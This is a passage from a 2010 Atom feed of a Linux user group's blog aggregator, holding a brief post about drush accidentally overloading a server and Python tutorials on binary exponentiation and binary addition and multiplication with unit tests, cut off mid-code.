<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

	<title>Planet WUUG</title>
	<link rel="self" href="http://planet.wuug.org/atom.xml"/>
	<link href="http://planet.wuug.org/"/>
	<id>http://planet.wuug.org/atom.xml</id>
	<updated>2010-09-07T19:00:06+00:00</updated>
	<generator uri="http://www.planetplanet.org/">Planet/2.0 +http://www.planetplanet.org</generator>

	<entry xml:lang="en">
		<title type="html">drush and the server fork bomb</title>
		<link href="http://blog.free.draisey.ca/node/100"/>
		<id>http://blog.free.draisey.ca/100 at http://blog.free.draisey.ca</id>
		<updated>2010-08-26T04:03:39+00:00</updated>
		<content type="html">&lt;p&gt;drush (the drupal shell) is a nice command line tool that I have installed on the server for the wuug drupal project.  It has the nice ability to be able to work through a remote instance via ssh --- or so the documentation says --- in my case it fork bombed the server --- the OOM killer played havoc with my server and still failed to slow down the fork bomb.  What a mess.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Algorithms in Python: Binary exponentiation</title>
		<link href="http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/"/>
		<id>http://blog.madpython.com/?p=142</id>
		<updated>2010-08-08T03:10:01+00:00</updated>
		<content type="html">&lt;p&gt;The typical approach to exponentiation of a base &lt;em&gt;b&lt;/em&gt; by an exponent &lt;em&gt;n&lt;/em&gt; is to repeatedly multiply the base by itself, as such: &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=b%5En%20%3D%20%5Cprod_%7Bi%3D1%7D%5E%7Bn%7D%20b&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=1&quot; alt=&quot;b^n = \prod_{i=1}^{n} b&quot; title=&quot;b^n = \prod_{i=1}^{n} b&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is easy to compute for small values but quickly chokes with very large values.&lt;/p&gt;
&lt;p&gt;A faster approach involves converting the exponent into base 2, then multiplying the running total and squaring the base each time a 1-bit is encountered. The python implementation looks like this:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;def&lt;/span&gt; binary_exponent&lt;span&gt;&amp;#40;&lt;/span&gt;base, exponent&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;&lt;span&gt;\&lt;/span&gt;
    Binary Exponentiation
&amp;nbsp;
    Instead of computing the exponentiation in the traditional way,
    convert the exponent to its reverse binary representation.
&amp;nbsp;
    Each time a 1-bit is encountered, we multiply the running total by
    the base, then square the base.
    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span&gt;# Convert n to base 2, then reverse it.&lt;/span&gt;
    exponent = bin&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
    result = &lt;span&gt;1&lt;/span&gt;
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; exponent&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; == &lt;span&gt;'1'&lt;/span&gt;:
            result &lt;span&gt;*&lt;/span&gt;= base
        base &lt;span&gt;*&lt;/span&gt;= base
    &lt;span&gt;return&lt;/span&gt; result&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Similarly, the same approach can be taken to perform modular exponentiation against very large exponents:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;def&lt;/span&gt; modular_exponent&lt;span&gt;&amp;#40;&lt;/span&gt;base, exponent, mod&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;&lt;span&gt;\&lt;/span&gt;
    Modular exponentiation through binary decomposition.
&amp;nbsp;
    We use the same technique as for the binary exponentiation above in
    order to find the modulo of our very large exponent and an arbitrary
    integer mod.
    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    exponent = bin&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
    x = &lt;span&gt;1&lt;/span&gt;
    power = base &lt;span&gt;%&lt;/span&gt; mod
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; exponent&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; == &lt;span&gt;'1'&lt;/span&gt;:
            x = &lt;span&gt;&amp;#40;&lt;/span&gt;x &lt;span&gt;*&lt;/span&gt; power&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; mod
        power = &lt;span&gt;&amp;#40;&lt;/span&gt;power &lt;span&gt;**&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; mod
    &lt;span&gt;return&lt;/span&gt; x&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The optimization is especially visible for the modulo operation, since we are working on smaller numbers with each iteration, whereas for simple exponentiation, the CPython interpreter can already optimize the operation.&lt;br /&gt;
The speedup for modular exponentiation on my system was in the order of 72x the speed of a simple &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28a%5En%29%20%5Cmod%7Bm%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=1&quot; alt=&quot;(a^n) \mod{m}&quot; title=&quot;(a^n) \mod{m}&quot; class=&quot;latex&quot; /&gt; whereas the the computation of the exponentiation took about the same time in both cases.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Algorithms in Python: Binary Operations&quot;&gt;Algorithms in Python: Binary Operations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Algorithms in Python: Base Expansion&quot;&gt;Algorithms in Python: Base Expansion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Extending PostgreSQL with Python&quot;&gt;Extending PostgreSQL with Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Algorithms in Python: Binary Operations</title>
		<link href="http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/"/>
		<id>http://blog.madpython.com/?p=131</id>
		<updated>2010-07-17T19:08:22+00:00</updated>
		<content type="html">&lt;p&gt;Today I&amp;#8217;d like to demonstrate a simple implementation of &lt;a href=&quot;http://highered.mcgraw-hill.com/sites/0072880082/information_center_view0/about_the_author.html&quot; target=&quot;_blank&quot;&gt;Kenneth Rosen&lt;/a&gt;&amp;#8216;s binary addition and multiplication algorithms as outlined in &amp;quot;&lt;a href=&quot;http://www.amazon.com/Discrete-Mathematics-Applications-Kenneth-Rosen/dp/0071244743/ref=sr_1_2?ie=UTF8&amp;#038;s=books&amp;#038;qid=1279392073&amp;#038;sr=8-2&quot; target=&quot;_blank&quot;&gt;Discrete Mathematics and its Applications&lt;/a&gt;&amp;quot;. Both algorithms are very simple and work the same way we&amp;#8217;ve all learned to do decimal additions and multiplications by hand in grade-school.&lt;/p&gt;
&lt;p&gt;As usual, I&amp;#8217;ve also provided a unit-test suite for each algorithm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please note:&lt;/strong&gt; This is only intended to demonstrate the algorithms. If you are actually trying to do some real work with binary numbers in Python, note that the language itself provides a highly optimized implementation of binary numbers and related operations. Here are a few examples:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;# Decimal to binary conversion:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'0b1111'&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Binary to decimal conversion:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;0b1111&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'15'&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Binary addition:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; bin&lt;span&gt;&amp;#40;&lt;/span&gt;0b1111 + 0b10011&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'0b100010'&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Binary multiplication:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; bin&lt;span&gt;&amp;#40;&lt;/span&gt;0b1111 &lt;span&gt;*&lt;/span&gt; 0b10011&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'0b100011101'&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Binary Addition&lt;/h2&gt;
&lt;p&gt;We will use strings in this example to represent sequences of bits. The algorithm operates right-to-left, maintaining a carry each time it adds two 1-valued bits.&lt;/p&gt;
&lt;h3&gt;Code:&lt;/h3&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Simple binary operation algorithm.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;math&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# a and b should be string representation of the binary components&lt;/span&gt;
&lt;span&gt;# You could easily extend this to overload the + operator for binaries,&lt;/span&gt;
&lt;span&gt;# but this is already built into python.&lt;/span&gt;
&lt;span&gt;def&lt;/span&gt; binary_addition&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Performs a binary addition against two provided binary numbers&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;# Pad the components so they are of equal length&lt;/span&gt;
    max_length = &lt;span&gt;max&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    bin_a, bin_b = bin_a.&lt;span&gt;zfill&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;max_length&lt;span&gt;&amp;#41;&lt;/span&gt;, bin_b.&lt;span&gt;zfill&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;max_length&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    carry = &lt;span&gt;0&lt;/span&gt;
    result = &lt;span&gt;''&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;# Note that we work from right to left&lt;/span&gt;
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, max_length&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;:
        tmp = &lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;math&lt;/span&gt;.&lt;span&gt;floor&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + &lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + carry&lt;span&gt;&amp;#41;&lt;/span&gt;/&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        res = &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + &lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + carry - &lt;span&gt;2&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;tmp&lt;span&gt;&amp;#41;&lt;/span&gt;
        result += res
        carry = tmp
&amp;nbsp;
    result = &lt;span&gt;&amp;#40;&lt;/span&gt;result + &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;carry&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
    &lt;span&gt;try&lt;/span&gt;:
        &lt;span&gt;return&lt;/span&gt; result&lt;span&gt;&amp;#91;&lt;/span&gt;result.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
    &lt;span&gt;except&lt;/span&gt; &lt;span&gt;ValueError&lt;/span&gt;, ex:
        &lt;span&gt;return&lt;/span&gt; &lt;span&gt;'0'&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Unit Test:&lt;/h3&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Unit test for binary_addition.py&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;unittest&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; binary_addition &lt;span&gt;import&lt;/span&gt; binary_addition
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; TestBinaryAddition&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;TestCase&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Comparing python binary addition against our own&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_same_length&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Adding 2 binary numbers of the same length&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'001001101'&lt;/span&gt;
        bin_b = &lt;span&gt;'011011010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_larger&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot; B has more digits than A &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'01000101'&lt;/span&gt;
        bin_b = &lt;span&gt;'1110010110101011101101011101000101'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_smaller&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;B has less digits than A&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
        bin_a = &lt;span&gt;'1110001001001001001101101011000101'&lt;/span&gt;
        bin_b = &lt;span&gt;'0110010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; _compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Compares the python implementation against ours&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_add = binary_addition&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
        py_add = bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_a&lt;span&gt;&amp;#41;&lt;/span&gt; + &lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
        algo_res = bin_add&lt;span&gt;&amp;#91;&lt;/span&gt;bin_add.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
        py_res = py_add&lt;span&gt;&amp;#91;&lt;/span&gt;py_add.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertEqual&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;py_res, algo_res&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; &lt;span&gt;'__main__'&lt;/span&gt; == __name__:
    &lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;main&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Binary Multiplication&lt;/h2&gt;
&lt;p&gt;We are still using strings to represent bit sequences. We are still working from right to left, shifting to the left every number from the first number that needs to be multiplied by 1 in the second number. We then append the result to a list that we sum at the end, using the previous algorithm.&lt;/p&gt;
&lt;h3&gt;Code:&lt;/h3&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Simple Binary multiplication algorithm&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;sys&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;os&lt;/span&gt;.&lt;span&gt;path&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;from&lt;/span&gt; binary_addition &lt;span&gt;import&lt;/span&gt; binary_addition
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;def&lt;/span&gt; binary_multiplication&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Multiplies two binary numbers by using python lists to
    easily shift digits around&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    temp_result = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
    result = &lt;span&gt;&amp;quot;0&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;# Remove any unnecessary padding&lt;/span&gt;
    bin_a = bin_a&lt;span&gt;&amp;#91;&lt;/span&gt;bin_a.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
